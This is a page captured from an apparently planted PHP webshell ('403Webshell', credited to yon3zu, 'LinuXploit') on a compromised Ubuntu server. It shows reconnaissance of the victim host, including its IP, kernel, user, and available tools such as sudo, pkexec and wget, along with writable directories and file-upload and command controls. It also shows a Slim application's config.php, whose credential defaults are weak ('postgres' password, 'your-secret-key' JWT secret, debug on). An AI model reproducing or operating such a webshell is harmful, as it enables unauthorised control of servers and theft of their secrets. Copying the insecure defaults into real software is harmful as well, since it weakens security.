403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/project-slim/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/project-slim/config/config.php
<?php
use Dotenv\Dotenv;

// Load environment variables
$dotenv = Dotenv::createImmutable(__DIR__ . '/../');
$dotenv->load();

return [
    'settings' => [
        'displayErrorDetails' => $_ENV['APP_DEBUG'] ?? true,
        'logErrorDetails' => true,
        'logErrors' => true,
    ],
    
    'database' => [
        'driver' => $_ENV['DB_CONNECTION'] ?? 'pgsql',
        'host' => $_ENV['DB_HOST'] ?? 'localhost',
        'port' => $_ENV['DB_PORT'] ?? '5432',
        'database' => $_ENV['DB_NAME'] ?? 'reporev',
        'username' => $_ENV['DB_USERNAME'] ?? 'postgres',
        'password' => $_ENV['DB_PASSWORD'] ?? 'postgres',
        'charset' => 'utf8',
        'prefix' => '',
        'schema' => 'public',
        'sslmode' => 'prefer',
        'options' => [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false,
        ],
    ],
    
    'jwt' => [
        'secret' => $_ENV['JWT_SECRET'] ?? 'your-secret-key',
        'expiry' => (int)($_ENV['JWT_EXPIRY'] ?? 3600),
        'refresh_expiry' => (int)($_ENV['JWT_REFRESH_EXPIRY'] ?? 86400),
        'algorithm' => 'HS256',
    ],
    
    'mail' => [
        'host' => $_ENV['MAIL_HOST'] ?? 'smtp.gmail.com',
        'port' => (int)($_ENV['MAIL_PORT'] ?? 587),
        'username' => $_ENV['MAIL_USERNAME'] ?? '',
        'password' => $_ENV['MAIL_PASSWORD'] ?? '',
        'from_address' => $_ENV['MAIL_FROM_ADDRESS'] ?? 'noreply@app.com',
        'from_name' => $_ENV['MAIL_FROM_NAME'] ?? 'App Name',
    ],
    
    'app' => [
        'url' => $_ENV['APP_URL'] ?? 'http://localhost:8080',
        'frontend_url' => $_ENV['FRONTEND_URL'] ?? 'http://localhost:3000',
        'upload_path' => $_ENV['UPLOAD_PATH'] ?? '/storage/uploads',
        'max_file_size' => (int)($_ENV['MAX_FILE_SIZE'] ?? 10485760),
    ],
];

Youez - 2016 - github.com/yon3zu
LinuXploit